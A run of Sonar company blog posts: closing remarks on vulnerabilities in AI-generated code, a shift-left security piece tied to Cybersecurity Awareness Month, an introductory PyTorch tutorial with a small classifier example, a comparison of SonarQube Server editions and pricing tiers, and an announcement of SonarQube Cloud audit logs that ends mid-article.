This seamless integration allows you to build trust into every line of code. Sonar's powerful analysis is specifically designed to detect the very classes of bugs and vulnerabilities that our research has shown are common in AI-generated code—from injection flaws and cryptographic missteps to concurrency issues and code smells. By enforcing quality gates before code is merged or released and offering AI CodeFix suggestions directly where developers work, Sonar accelerates remediation and shrinks the verification backlog, turning the promise of AI-driven velocity into a reality.

The takeaways

There is no “safest” model. All leading LLMs generate severe vulnerabilities and maintainability issues; their personalities simply shift where the risks land.
Functional benchmarks alone are insufficient. You must analyze the code’s quality, security, and maintainability profile—and tune your verification to each model’s tendencies.
Independent assurance is non-negotiable. The fastest path to durable productivity is a developer-first verify layer that scales with AI output and standardizes trust across all code sources.

Leaders: set the strategy and guardrails. Developers: shape your prompts and reviews to the model in front of you. Together: vibe at AI speed—then verify with Sonar.

Beyond cybersecurity awareness: Make a strategic shift to code security

Satinder Khasriya — Wed, 29 Oct 2025 16:00:00 GMT

TL;DR overview

A strategic shift to code security means moving from end-of-cycle security scans to continuous detection—embedding quality and security checks into every commit, pull request, and build.
Fixing issues late in the development lifecycle can lead to security costs that are 3–14 times higher than catching them early, making shift-left practices a direct cost reduction lever.
SonarQube Advanced Security provides consistent coverage across developer-written code, AI-generated code, and open source dependencies, applying a single quality gate standard across all three.
Teams that treat security as a mindset—proactive defense rather than a final checklist—reduce rework, protect reputation, and build software resilient to today's fast-moving threat landscape.

October is Cybersecurity Awareness Month, a time when every organization is reminded that security is everyone’s responsibility. It's a time to reflect on how organizations approach security not as a campaign or compliance task, but as a mindset. Awareness is important, but awareness without execution doesn’t create resilience. What truly matters is the ability to turn security into a continuous, everyday practice.

It’s also the baseball postseason. As the best teams take the field, one truth becomes clear: proactive defense wins championships. In both software development and sports, success hinges on fundamentals, consistency, and teamwork. The teams that win are the ones who make the fewest errors, collaborate seamlessly, and execute the basics perfectly. The same is true for software security.

Championship teams don’t wait for a crisis to tighten their defense, and neither should your software and applications. The smartest organizations build code quality and security into every line of code from the start, ensuring they are always ready for the next challenge. This means relentless focus on code quality, which is the foundation for code security. Code security isn’t just a final scan before deployment or a check box for security and development teams, it's part of every commit, every pull request, and every build.

Instead of “hope nothing breaks,” it becomes “we’ve already fixed it.”

Start left: Secure all code

Too often, security happens at the end of the development cycle as a final scan or checklist before release. But in today’s fast-paced threat landscape, that’s far too late. Modern teams “start left.” Start left is the strategic shift to detecting and remediating security vulnerabilities and security issues continuously, as developers write code, rather than waiting for late-stage testing or security reviews.

SonarQube makes this shift achievable by integrating code quality and security checks directly into developers’ IDEs and CI/CD pipelines. Developers receive instant, contextual feedback that helps them fix vulnerabilities as they code. Just as winning teams defend every position, software teams must secure every line of code. Today’s applications are built from multiple sources each introducing unique risks. Cursor writes almost a billion lines of accepted code a day. This means that organizations have to secure not only their developer written-code but also any AI-generated code. In order to secure the entire code ecosystem, the defensive strategy must cover all fronts. SonarQube Advanced Security provides consistent coverage across three critical code categories:

Developer-written code: Pinpointing logic flaws and security hot-spots in the first-party code written by your team.
AI-generated code: Automatically verifying the quality and security of code blocks suggested by AI assistants, ensuring they don't introduce new risks.
Third-party and open source code: Proactively identifying security vulnerabilities in your dependencies, giving you full visibility into your code’s supply chain risk.

This comprehensive approach means your SonarQube quality gates are applied universally, ensuring the whole team is operating under a single, trusted standard. Improving code quality and security as you write isn't just about fixing errors; it’s about building a mindset of anticipation. You're not reacting to threats; you're positioning your team to make the play before the ball is even hit.

Reducing errors: The hidden cost of small mistakes

In baseball, a single misstep can shift the outcome of the game (a fumble that leads to a stolen base, a wild pitch that leads to a walk, etc.). Similarly, in software one missed vulnerability can lead to a costly breach or downtime. The later a flaw is discovered, the more expensive it is to fix. Integrating security early in the development process, reduces risk and eliminates rework—saving time, resources, and reputation. Fixing issues late in the development lifecycle can lead to security costs that are 3-14 times higher.

SonarQube for IDE, a free extension, ensures you fix issues in the IDE, where it's easiest and cheapest to execute. You can connect SonarQube IDE to your SonarQube (Server or Cloud). This enables organizations to define and share quality standards with the developers, while they are working in their IDEs. SonarQube helps teams move from reactive to preventive, empowering developers to build secure, maintainable code habits that protect both their systems and their organization’s trust.

For example, SonarQube (Server and Cloud) uses taint analysis to track user-controllable data through your entire application. By identifying the source of tainted data and its risky destination, SonarQube (Server and Cloud) pinpoints deep-seated security flaws like complex injection vulnerabilities, giving developers the precise path to remediation directly in the IDE. It can detect a wide range of security issues, such as SQL injection, cross-site scripting (XSS), buffer overflow, security misconfiguration, secret leaks, and more using more than 6,500+ rules, and leverage AI CodeFix for automated remediation.

That's how SonarQube helps in catching these "unforced errors" early, before they can affect customers, revenue, or trust. By building maintainable code habits, developers protect their teams from unnecessary rework and their organizations from unnecessary risk.

Metrics that matter: Visibility and trust

Winning teams track their performance and they know what’s working and where to improve. Software teams need the same clarity. SonarQube allows teams to measure not just how much code they ship, but how high quality and secure that code really is.

With SonarQube, engineering leaders and security teams gain unified visibility across their entire codebase through quality gates and compliance reports aligned with OWASP Top 10 and internal policies. Developers get actionable insights directly in their workflow, while leaders get data-driven confidence that their teams are shipping secure, reliable code. This visibility turns security from a guessing game into a measurable, collaborative process built on trust.

Security is a team sport

Developers, DevOps engineers, and security teams all play distinct roles, but they unite around a common mandate: supercharge development velocity by establishing security and quality governance. SonarQube provides the right platform where:

Developers get actionable guidance directly in their IDEs.
Security teams get visibility into issues and compliance risk.
Engineering leads get measurable confidence that the codebase meets both quality and security standards.

Cybersecurity Awareness Month is a timely reminder to stay vigilant but awareness alone doesn’t prevent incidents. The real win comes from consistent execution, collaboration, and discipline. So this October:

Tighten your fundamentals. Review your quality gates and security rules.
Start left. Integrate continuous code security early in your workflow.
Play as a team. Make security part of every developer’s mindset.

Winning organizations don’t rely on luck. They rely on preparation, communication, and constant improvement. When security becomes second nature, your team isn’t just defending, you’re building the confidence to move faster, innovate safely, and play to win.

PyTorch tensors, neural networks and Autograd: an introduction

Thomas Serre — Tue, 28 Oct 2025 16:00:00 GMT

TL;DR overview

PyTorch's tensor system and autograd engine are the foundation of modern deep learning in Python, and writing quality, correct PyTorch code requires understanding how these two systems interact during forward and backward passes.
Common coding mistakes in PyTorch include failing to zero gradients between batches, incorrect tensor dimension handling, and unintended in-place operations that break the autograd graph—all detectable through code review and static analysis.
SonarQube's Python rules help developers working with PyTorch catch common anti-patterns before they corrupt training runs or produce silent numerical errors that are difficult to debug in production ML systems.
Applying code quality practices to ML code—including PyTorch projects—reduces silent failures and reproducibility issues that make ML engineering more expensive than traditional software development.

For Python application developers looking to harness the power of machine learning, understanding the foundational tools is critical. Among those tools is PyTorch, a leading open-source machine learning framework renowned for its flexibility, Pythonic interface, and dynamic approach to computation.

This guide is designed to demystify PyTorch's core components, providing you with a solid understanding of how it empowers the creation and training of sophisticated machine learning models. We'll break down the essentials into three interconnected concepts:

Tensors: The fundamental building blocks of data in PyTorch
Neural networks: The architectural models that process this data
Autograd: PyTorch's powerful engine that enables networks to learn from their experience

By understanding these pillars, you'll gain insight into how PyTorch facilitates the development of intelligent applications, from image classification to complex predictive systems.

What is PyTorch?

PyTorch is a foundational, open-source machine learning framework, primarily distinguished by its Pythonic interface and dynamic computation graphs. Unlike frameworks that build static graphs upfront, PyTorch's "define-by-run" approach constructs the computational graph dynamically as operations are executed, offering unparalleled flexibility for debugging and experimenting with complex or variable neural network architectures.

At a high level, a computational graph is a way to represent a sequence of calculations as a graph. In this graph, each node represents a mathematical operation (like addition, multiplication, or a more complex function), and the edges (or arrows) represent the data (usually numbers or tensors) that flow between these operations. You can think of it like a flowchart. When you define a neural network and feed data through it, PyTorch internally builds one of these graphs. It records every step taken to get from your input data to the final output. This graph is crucial because it's what allows frameworks like PyTorch to efficiently simulate and train systems like neural networks.

[Caption: An example of a simple computational graph.]

Typical neural network training is done using an algorithm called backpropagation. The idea is to compute the gradient of the error with respect to the parameters used in the network, starting from the end of the network and propagating them to the beginning. PyTorch uses this computational graph to calculate gradients of error during backpropagation. Autograd is a key feature of PyTorch, and it helps automate this process.

That’s kind of a lot to take in all at once – especially if deep-learning is new to you – so let’s look at tensors, neural networks, and Autograd more in depth.

What are tensors?

Tensors are multi-dimensional arrays (scalars, vectors, matrices, etc.) that hold numerical data. For PyTorch specifically, tensors are the framework’s fundamental data structure upon which everything else is built. If you’ve ever used NumPy `ndarrays`, tensors are like that, except computation can be offloaded to accelerators such as Graphics Processing Units (GPUs).

Here is an example of the creation of a tensor in PyTorch.

```

data = [[1, 2],[3, 4]] # Numerical data represented as a 2x2 matrix

x_data = torch.tensor(data) # Converts the 2x2 matrix into a tensor

```

The above code takes a 2x2 matrix of numerical data and converts it to a PyTorch Tensor. The result is a specialized data structure optimized for machine learning. Tensors are used to encode the inputs and outputs of a model, as well as the model’s parameters. All data (images, text, audio, numerical features) you feed into a neural network, and all the intermediate calculations, will be represented as tensors. They are also optimized for automatic differentiation (known as Autograd). Tensors form the building blocks of PyTorch, and almost every operation in PyTorch will act on them. (Refer to the documentation for more information.)

How to represent a neural network in PyTorch?

Inspired by the human brain, an artificial neural network (ANN) is a computational model that processes data through interconnected layers to transform inputs into desired outputs. Each layer is composed of artificial neurons that are connected to neurons in the previous and next layers. Each artificial neuron receives signals from connected neurons, then processes them and sends a signal to other connected neurons. The connection between the neurons is represented by a weight, a numerical value representing the strength of the connection. The signal and the output of each neuron are real numbers. The output is computed by a function of all its inputs and the connection’s strength, called the activation function. These networks learn to perform tasks by adjusting the weights on their internal connections during a training process, allowing them to make accurate inferences and predictions. To illustrate how ANNs learn, let’s look at a simplified example: Classifying images of clothing based on the Fashion-MNIST dataset, which is often used for ML benchmarking. Such a classification model would use images of different articles of clothing to train on to be able to accurately identify a dress as a dress or a sandal as a sandal.

[Caption: A portion of the Fashion-MNIST dataset.]

Let’s build a neural network to do this. One of the most typical and simple neural network is composed of three interconnected layers:

Input layer

This is the layer that consumes the raw input. For a Fashion-MNIST image, each image is typically a 28x28 pixel grayscale image. The input layer would have 784 nodes (28 * 28), with each node receiving the pixel intensity value (e.g., a number between 0 and 255) from one specific pixel in the image. Typically, each output signal of the neurons will be sent to each neuron of the hidden layer.

Hidden layer

This layer of nodes receives signals from the input layer and processes it further. For a Fashion-MNIST image, a hidden layer might take in groups of pixel values and start to detect rudimentary shapes, edges, or textures (e.g., identifying a vertical line, a curved edge, or a patch of rough texture). If there are multiple hidden layers, a deeper hidden layer might then combine these simpler features to recognize more complex patterns, such as a sleeve, a collar, or the shape of a shoe's sole. There can be many hidden layers, each one a network of nodes further refining and processing the data to extract increasingly abstract features.

Output layer

This layer is responsible for the final result of the processing that has occurred in the hidden layers. In the case of Fashion-MNIST, the goal is to classify the clothing item. Since there are 10 different categories of clothing, the output layer would typically have 10 nodes. Each of these nodes would represent one of the clothing categories, and the network's output would indicate the probability that the input image belongs to each of those categories, depending on the output signals from those 10 nodes (e.g., "95% chance it's a sneaker, 3% chance it's a sandal, 2% chance it's something else").

Neural Network in PyTorch

In PyTorch, `torch.nn.Module` is the foundational base class for all neural networks. You can think of it as an organized container for layers and other modules, defining the complete flow of data through your network. In essence,` torch.nn.Module` serves as the object-oriented blueprint for building neural networks.

So, if we were to build a neural network to classify Fashion-MNIST images, we would inherit from `nn.Module`. In our custom network's`__init__` method, we would set up the specific layers we intend to use. For Fashion-MNIST, this might involve an `nn.Linear` layer to handle the flattened 28x28 pixel input (784 features), followed by `nn.ReLU` for non-linearity, and ultimately another `nn.Linear` for the 10 output classes. Then, in the forward method, we would define the computational sequence, dictating how an input image (represented as a tensor) moves through these layers to produce a classification prediction. PyTorch’s built-in classes and methods for these complex computations mean that you can focus more on architecting and training powerful models rather than implementing the intricate mathematical operations yourself.

Below is an example of how we might do this with PyTorch. This example is derived from the PyTorch documentation, where you can see the details of this implementation.

```

# The following class defines the architecture of the model

class ClothingClassification(nn.Module): # Here is where we use PyTorch’s nn.Module class to inherit from

def __init__(self):

super().__init__()

self.flatten = nn.Flatten()

# The following are all different layers that operate on the data in the order they are declared here

self.linear_relu_stack = nn.Sequential(

nn.Linear(28*28, 512),

nn.ReLU(),

nn.Linear(512, 512),

nn.ReLU(),

nn.Linear(512, 10)

)

# The following defines the computational flow of data as it’s passed

# from node to node and layer to layer

def forward(self, x):

x = self.flatten(x)

logits = self.linear_relu_stack(x)

return logits ```

How does the neural network learn, what is Autograd?

Initially, as data flows through the layers of an untrained neural network, the computations result in largely random and incorrect outputs. This is because the network has not yet learned how to accurately process the data. To enable the network to produce correct and expected outputs, we need to teach it by systematically adjusting the mathematical relationships (connection weights for example) within its hidden layers through a process called training. In other words, we need to retrace our steps through our calculations to see where we went wrong.

A common and very powerful algorithm used to train neural networks is backpropagation. This algorithm systematically adjusts the parameters within the network's layers to minimize the difference between its predictions and the correct answers. While backpropagation is essential, performing these intricate calculations by hand for every parameter in a large neural network would be incredibly arduous, tedious, and highly prone to errors. Fortunately, PyTorch provides Autograd – an automatic differentiation engine that lies at the heart of neural network training.

At a high level, Autograd keeps the dynamic computational graph to compute the function gradient. This graph precisely tracks all the mathematical operations and "steps" taken to reach the output. Because it's generated on the fly, you can even use standard Python control flow like if/else statements and for-loops within your network's logic, but be aware that this is not a good practice.

When the model produces an incorrect prediction (quantified as the loss function), Autograd enables it to efficiently move backward through this computational graph, from the output layer to the input. Using the gradients computed at each step, each parameter is updated to reduce the loss, effectively teaching the network to make more accurate predictions over time.

Conclusion

AI and ML are formidable new additions to our arsenal of tools. However, as this discussion has highlighted, a deep comprehension of these tools is essential. PyTorch's power is matched by its complexity, creating pitfalls for the unwary developer. To understand PyTorch complexity and writing flawless code, automated enforcement is a must have. In our next blog post, we'll dive into the practical application of this safeguard, exploring specific static analysis rules designed to verify your PyTorch usage, and ensure you're leveraging its power correctly and securely.

Choosing the right SonarQube Server edition for your needs

Robert Curlee — Mon, 27 Oct 2025 16:00:00 GMT

TL;DR overview

SonarQube is available in multiple editions - Community Build, Server (Developer, Enterprise, Data Center), and Cloud - each targeting different team sizes and needs.
The Community Build provides free, open-source static analysis for individual developers and small teams with support for core languages.
SonarQube Server editions add features including branch analysis, portfolio management, security reports, and enterprise DevOps integrations.
SonarQube Cloud delivers the same analysis capabilities as SonarQube Server in a fully managed SaaS model, removing infrastructure overhead.

In today's fast-paced software development landscape, ensuring code quality and security is paramount. SonarQube has emerged as a leading automated code review platform that empowers development teams to achieve a high level of code quality and code security. It excels at quickly analyzing code, identifying a wide range of issues from bugs and security vulnerabilities to technical debt, and offers valuable guidance on how to improve code as you develop.

For users who want to control where and how the platform is deployed and self-upgrade at their own pace, SonarQube is available in several distinct offerings, which are covered in this article. These separate offerings are designed to support individuals, small teams, growing businesses, and large enterprises with capability that meets the complexity and scale of each group. For users who don’t want to manage SonarQube deployment and prefer the ease of maintenance free use, SonarQube Cloud and its various plans are better suited for you.

If you’re not familiar with the different SonarQube offerings: Community Build and SonarQube Server Developer, Enterprise, and Data Center editions, we’ll cover each in this article. By understanding the features, benefits, target audience, and key differences of each, organizations and individuals can make an informed decision about which one best suits their specific needs.

SonarQube Community Build: the starting point for code quality

SonarQube Community Build serves as the foundational, free, and open-source offering of SonarQube for those who want to keep control over installation and upgrades themselves. It offers a powerful entry point for very small development teams and individuals looking to enhance their developer productivity and overall code quality and code security of small development projects. As an open-source tool, its source code is publicly accessible, fostering transparency and community involvement.

SonarQube Community Build boasts support for a significant number of popular and classic programming languages, frameworks, and web technologies. It includes coverage of widely used languages such as Java, C#, Python, JavaScript, and Typescript plus over 15 other languages and IaC technologies.

Refer to our official documentation to see the complete list of languages and frameworks supported for each language to ensure SonarQube Community Build has coverage for your specific needs. Languages such as C, C++, Obj-C, Dart/Flutter, Swift, ABAP, T-SQL, PL/SQL, YAML, JSON, Ansible, GitHub Actions, Apex, COBOL, JCL, PL/I, RPG and VB6 are only available in SonarQube Server, and the latest documentation should always be consulted to confirm the current status as Sonar regularly adds new languages and frameworks.

Furthermore, SonarQube Community Build offers robust integration capabilities with leading DevOps platforms, including GitHub, GitLab, Azure DevOps, Bitbucket, and Jenkins, supporting integrating with both cloud and self-managed instances of each. This integration allows for the automation of regular code reviews, providing developers with immediate feedback on code health directly within their familiar development workflows.

A key feature of the Community Build is the "Sonar Quality Gate." This provides a clear and immediate indication of whether the new or modified code meets predefined quality standards. Beyond code quality and security, another important standard is a project's code coverage metrics, offering insights into the extent to which the codebase is covered by unit tests. By failing build pipelines when code quality doesn't meet these standards, it helps prevent problematic code from being released into production, thereby reducing risks and costs associated with late discovery of issues. The Community Build is also known for its fast analysis speed and accuracy and provides shared, unified configurations for consistent analysis across projects. Integration with SonarQube for IDE is another significant advantage, enabling developers to identify and fix coding issues in real-time as they write code within their integrated development environment. The "Connected Mode" feature further enhances this by linking the IDE to SonarQube, ensuring that developers are working with the same set of rules and configurations.

Despite its robust features and because it is geared for individual developers and very small teams, SonarQube Community Build does not contain features that are useful for larger teams. It lacks some advanced functionalities such as branch and pull request analysis and detailed quality gate information in the comments of the pull request, which are crucial for collaborative development workflows. Advanced security features like taint analysis, which helps in identifying potential security vulnerabilities by tracking data flow, and more comprehensive secrets detection for popular private web services are also absent. Additionally, it does not offer application or portfolio management capabilities for aggregating projects and providing executive oversight across projects. A notable performance consideration is larger teams tend to submit analysis requests at the same time and Community Build can only process a single analysis at a time which would slow down larger teams and organizations with multiple teams. Finally, Community Build does not include enterprise level reporting for compliance with common security standards or specific regulations.

The target audience for SonarQube Community Build typically includes individual developers who are keen on improving their coding practices and code quality, as well as small teams and startups that may have budget constraints. It is also an excellent choice for open-source projects that can leverage its free static code analysis capabilities. Furthermore, engineers interested in exploring the SonarQube API for custom integrations might also find Community Build suitable for initial experimentation.

Support for SonarQube Community Build is primarily provided through the active Sonar Community forum. Users can engage with other community members, ask questions, and share their experiences. It's important to note that commercial support with guaranteed response times and dedicated technical assistance is not available for our open source offering.

SonarQube Developer Edition: empowering development teams

SonarQube Developer Edition represents the first commercial tier, specifically designed to empower small to medium size development teams with enhanced collaboration and efficient development workflows to specifically support software development in a corporate setting. It includes capability crucial for teams working on projects that require a higher level of code quality and security checks and broader coverage of different languages and frameworks to ensure your software is ready for production and future proof.

A significant addition in the Developer Edition is the capability for branch and pull request analysis and pull request decoration. This allows teams to analyze code changes in isolated branches and within pull requests before they are merged into the main codebase. SonarQube then provides feedback directly within the comments of the pull request, highlighting any new issues that the changes might introduce directly within the DevOps platform. This proactive approach helps prevent the introduction of bugs and vulnerabilities into the main branch, ensuring a main is always in a production-ready state. This is important for DevOps teams to be able to trigger continuous integration at any moment and ensure the build is free of issues. SonarQube even identifies issues in the target branch that will be resolved by merging the pull request, providing a comprehensive view of the positive impact of the merge.

The Developer Edition also includes enhanced Static Application Security Testing (SAST). This involves more sophisticated analysis techniques, including taint analysis, which tracks the flow of data through the application to identify security vulnerabilities, such as SQL injection, where untrusted data might be used in a harmful way. Advanced dataflow bug detection finds more complex bugs other tools can’t find, preventing runtime errors and crashes. Another valuable feature is more powerful secrets detection, which identifies and prevents the accidental exposure of sensitive information like API keys and passwords used in over 200 common private, commercial, and enterprise cloud services and APIs.

The Developer Edition expands the language support to over 30 languages and frameworks. This includes more specialized languages used in commercial application development, catering to a broader range of development environments and more complete coverage of the types of software built by companies. Furthermore, the Developer Edition includes AI Code Assurance to help companies verify all AI generated code meets their code quality and code security standards. AI Code Assurance can be used to automatically detect and flag projects that contain AI-generated code and then it puts those projects through a more rigorous code review process to ensure the AI generated code passes strict standards.

The Developer Edition is recommended for codebases with 100K+ Lines of Code (LOC). The pricing for the commercial editions is based on the number of lines of code in each project marked for analysis. It's important to note that the LOC count excludes blank lines, comments, and test code. The target audience for the Developer Edition is small to medium size professional development teams working on projects that require a more comprehensive approach to code quality and security than what the free Community Build offers. DevOps teams that need to collaborate effectively on code changes through branches and pull requests will find this edition particularly beneficial. Commercial support is available for users of the Developer Edition, providing access to technical assistance and resources beyond simply asking questions in the Sonar Community.

SonarQube Enterprise Edition: code quality and security at scale

SonarQube Enterprise Edition is designed as the solution for organizations looking to scale their code quality and security initiatives across multiple teams and larger codebases. It includes everything in Developer Edition and additional capabilities focused on providing deeper insights, enhanced performance for enterprise-level usage, comprehensive reporting capabilities, and enterprise identity and access management (IAM).

This edition expands the language support to a total of 35+ languages and frameworks. This includes additional languages used in enterprise companies such as Apex, COBOL, JCL, PL/I, RPG, and VB6, catering to organizations that maintain legacy systems or use specialized technologies. Enterprise Edition boosts support for unlimited integrations with all DevOps platforms: GitHub, GitLab, Azure Devops, and Bitbucket. This means multiple teams within different business units with varying needs and development workflows can all be centrally supported by one SonarQube Server instance with governance of common standards across all teams.

For better oversight and management of code quality and security across large organizations, the Enterprise Edition includes aggregating projects into both applications and portfolios. Unified portfolio management, enables the consolidation of multiple projects and applications into a single view, providing a holistic perspective on code quality and security across your defined portfolio. Enterprise Edition also provides detailed project health insights with downloadable project, application, and portfolio PDF reports, offering a more comprehensive understanding of the overall status of code quality and security at the desired level. It also includes downloadable security compliance reports that can be used to demonstrate compliance with the top security standards: CWE, OWASP, PCI DSS, STIG, and CASA. To handle the demands of larger teams and codebases, the Enterprise Edition offers improved performance, ensuring efficient analysis even with a high volume of code changes. AI CodeFix further accelerates developer productivity by offering AI generated code solutions for issues at the click of a button to boost resolution at the speed of AI.

The Enterprise Edition further enhances security capabilities with security engine customization, allowing organizations to tailor the security analysis engine to understand your internal APIS for performing more powerful taint analysis and to detect private secret patterns specific to your internal services. The Enterprise Edition also includes an extra license for a staging environment, facilitating testing and validation of SonarQube configurations before deployment in production. It also provides enhanced monorepo support, including guided setup of a mono repo and showing code health status in the comments of a monorepo pull request, making it easier to manage and analyze code within large monolithic, multi-project repositories.

The Enterprise Edition is recommended for organizations with 1M+ Lines of Code (LOC). The primary target audience is larger enterprise companies with numerous development teams and larger, more complex projects, as well as organizations with stringent security and compliance requirements that necessitate comprehensive reporting and centralized management of code quality and security. 24/7 premium support can be purchased for enhanced assistance.

SonarQube Data Center Edition: performance, high availability, and scalability

SonarQube Data Center Edition represents the pinnacle of the SonarQube Server offerings, designed for the largest and most critical deployments that demand maximum performance, high availability, and scalability. It is engineered to handle extreme loads and ensure business continuity through its robust architecture.

Building upon the features of the Enterprise Edition, the Data Center Edition introduces several key enhancements focused on resilience and performance. It offers Kubernetes autoscaling based on demand, allowing the system to automatically adjust resources to handle fluctuating workloads, ensuring consistent performance while optimizing cost. It also has improved high performance for distributed teams, providing efficient analysis even under extreme loads and in geographically dispersed development environments. To ensure high availability for service integrity, the Data Center Edition features component redundancy, eliminating single points of failure and guaranteeing continuous operation for mission-critical code quality and security analysis. The data resiliency for business continuity is a core aspect, ensuring that data is protected and can be recovered in the event of failures, safeguarding business operations. It includes all the capability of Enterprise Edition such as unlimited DevOps integrations and the expanded language support for over 35 languages.

The Data Center Edition is recommended for organizations with 20M+ Lines of Code (LOC), and its licensing follows the same LOC-based model per instance per year. The target audience for this edition comprises very large enterprises with massive codebases and a high volume of analysis. Organizations that require mission-critical code quality and security analysis with guaranteed uptime and performance, and companies with globally distributed development teams that need a highly scalable and available solution will find it suitable. Standard commercial support is included with the Data Center Edition, along with 24/7 white glove premium support for immediate and expert assistance.

SonarQube Server Feature Comparison

This table lists some of the key features important to companies evaluating what’s right for them:

Feature	Community Build	Developer Edition	Enterprise Edition	Data Center Edition
Base cost	Free	Commercial (Starts at $720 annually)	Commercial (Contact Sales)	Commercial (Contact Sales)
Open source	Yes	No	No	No
Recommended lines of code (LOC)	under 100K	100K+	1M+	20M+
Number of supported languages	20+	30+	35+	35+
DevOps integrations	1 per platform	1 per platform	Unlimited	Unlimited
Analyze only main branch	Yes	No	No	No
Basic secrets detection for public services	Yes	Yes	Yes	Yes
Analyze feature and maintenance branches and pull requests	No	Yes	Yes	Yes
Code health status displayed in pull request comments	No	Yes	Yes	Yes
Taint analysis with cross-function and cross-file tracking	No	Yes	Yes	Yes
Advanced dataflow bug detection	No	Yes	Yes	Yes
Secrets detection for commercial and enterprise services	No	Yes	Yes	Yes
AI Code Assurance	No	Yes	Yes	Yes
Combine several projects into a single application	No	Yes	Yes	Yes
Standard commercial support available	No	Yes	Yes	Yes
Advanced Security available	No	No	Yes	Yes
AI CodeFix	No	No	Yes	Yes
Secrets detection of company's private services	No	No	Yes	Yes
Portfolio management	No	No	Yes	Yes
Executive reports for projects, applications and portfolios	No	No	Yes	Yes
Regulatory reports and audit logs	No	No	Yes	Yes
Manage monorepos	No	No	Yes	Yes
Parallel processing	No	No	Yes	Yes
24/7 premium commercial support available	No	No	Yes	Yes
Component redundancy	No	No	No	Yes
Autoscaling	No	No	No	Yes

Choosing the right SonarQube Server edition

Selecting the most suitable SonarQube Server edition depends on a multitude of factors specific to an organization's or individual's needs. Team size and structure play a significant role. For individual developers or very small teams just starting with code quality analysis, the Community Build offers a robust and free foundation. As development teams grow and require more collaborative features, the Developer Edition becomes a valuable upgrade. Larger organizations with multiple teams and complex projects will likely find the Enterprise Edition better suited to their needs, offering centralized management and comprehensive reporting. For very large enterprises with massive codebases and mission-critical applications, the Data Center Edition provides the performance, scalability, and high availability required.

The complexity and size of projects are also crucial considerations. While the Community Build can handle smaller projects effectively, the Developer Edition is recommended for medium-sized projects. Enterprise Edition is designed for large and complex projects, and the Data Center Edition is tailored for very large projects with extensive codebases.

Security requirements are another key differentiator. The Community Build offers basic security checks, while the Developer Edition enhances these with advanced SAST and advanced secrets detection. Organizations with strict security and compliance requirements will benefit from the Enterprise and Data Center Editions, which provide comprehensive security reporting and customization options.

Scalability needs are paramount for growing organizations. The Community Build has inherent limitations due to its single-threaded nature. The Developer Edition offers some scalability improvements, but the Enterprise Edition is better equipped to handle larger teams and codebases. The Data Center Edition provides the highest level of scalability and high availability through features like autoscaling and component redundancy.

Budget is always a significant factor. The Community Build is free but has limited capabilities. The Developer, Enterprise, and Data Center Editions are commercial offerings with increasing costs and features. The pricing for these commercial editions is based on the number of lines of code in the projects to be analyzed and requires contacting SonarSource sales for specific quotes. Organizations should carefully estimate their current and future codebase size to choose an edition that aligns with their budget and growth plans.

Support requirements should be considered. The Community Build relies on community support, while the commercial editions offer varying levels of commercial support, with the Enterprise and Data Center Editions providing premium support options.

As teams and organizations evolve and their needs become more sophisticated, upgrading from the Community Build to a commercial edition unlocks significant benefits. Features like branch and pull request analysis, code health status in the the comments of pull requests, advanced security analysis, and enhanced scalability become crucial for maintaining code quality and security at scale.

Conclusion

SonarQube offers a range of Server editions designed to meet the diverse needs of the software development community. The Community Build provides a solid, free foundation for improving code quality. The Developer Edition empowers development teams with essential collaboration features and deeper analysis capabilities. The Enterprise Edition enables organizations to scale code quality initiatives across multiple teams with comprehensive reporting and management tools. Finally, the Data Center Edition delivers the ultimate in performance, high availability, and scalability for the largest and most critical deployments.

Choosing the right SonarQube Server edition is a critical decision that should be based on a careful assessment of an organization's or individual's specific requirements, including team size, project complexity, security needs, scalability demands, and budget. Readers are encouraged to visit the official SonarSource website for the most up-to-date information on features and pricing and to consider requesting a demo or free trial of the commercial editions to experience their benefits firsthand. By selecting the appropriate SonarQube Server edition, development teams significantly enhance their code quality, improve security, and ultimately deliver better software.

Introducing audit logs in SonarQube Cloud: Enhancing compliance and security

Andrew Osborne — Mon, 27 Oct 2025 16:00:00 GMT

TL;DR overview

Audit logs in SonarQube Cloud provide a tamper-evident record of administrative actions, permission changes, and configuration modifications—essential for compliance frameworks like SOC 2 and ISO 27001.
Organization administrators can export audit logs to their SIEM or compliance tooling, enabling centralized monitoring of who changed what, when, and from where across the SonarQube Cloud environment.
The feature addresses a key requirement for enterprise and regulated organizations that need to demonstrate accountability and change management controls over their code analysis infrastructure.
Teams can configure log retention and access policies to meet their specific compliance requirements, ensuring audit data is available for the duration required by their regulatory framework.

In today's fast-paced development environment, maintaining software security and compliance is more critical than ever. With the rise of AI-driven code development and increasing regulatory demands, the need for accountability and traceability within the software development lifecycle (SDLC) has never been greater.

At Sonar, we're committed to empowering developers to build better, more secure software with static code analysis. We're also dedicated to providing the tools necessary to ensure that this development is done in a secure and compliant manner. That's why we're excited to announce the initial release of audit logs for SonarQube Cloud.

The growing importance of audit logs in modern SDLC and DevSecOps

While once considered a niche requirement for highly regulated industries, audit logs have become an essential tool for any organization with a digital presence. They provide a chronological record of events, offering a clear answer to "who did what, and when?" This is crucial for:

Security Incident Investigation: Quickly identify and investigate suspicious activity.
Compliance: Meet the requirements of standards like GDPR, SOC 2, and ISO 27001.
Accountability: Maintain a clear record of user and system actions.

Audit logs in SonarQube Cloud: What you need to know

This initial release of audit logs is designed to provide our SonarQube Cloud Enterprise plan customers with the essential data they need to meet their immediate compliance and security needs. Here are the key details:

Availability: Audit logs are available exclusively for customers on the SonarQube Cloud Enterprise plan, ensuring enterprise-grade governance and support.
Access: Audit logs are accessible via a new API endpoint. This allows for seamless integration with your existing security information and event management (SIEM) tools.
Permissions: Only enterprise admins have access to the audit logs endpoint.
Data Retention: Audit logs are retained for a period of 180 days.
Querying: In this initial version, you can query the audit logs by date range. We will be adding the ability to query by event type and actor in a future release.

A list of the logged events is available here.

Focus on what matters: Core IAM events

This first iteration of SonarQube Cloud audit logs focuses on capturing core authentication and administrative Identity and Access Management (IAM) events. This provides visibility into critical security-related activities, such as:

User login and logout events
User and token creation
Changes to user permissions

Reducing risk and ensuring accountability

For compliance officers, CISOs, and C-suite executives, audit logs provide a powerful tool for risk reduction and governance. They enable you to:

Verify Policy Adherence: Confirm that mandatory security checks are being enforced.
Trace Configuration Changes: Track administrative actions, and user permission changes.
Facilitate Regulatory Reporting: Generate the fine-grained data needed for compliance reports.
Ensure Non-Repudiation: Create an immutable record of code security and quality decisions.

The future of audit logs in SonarQube Cloud

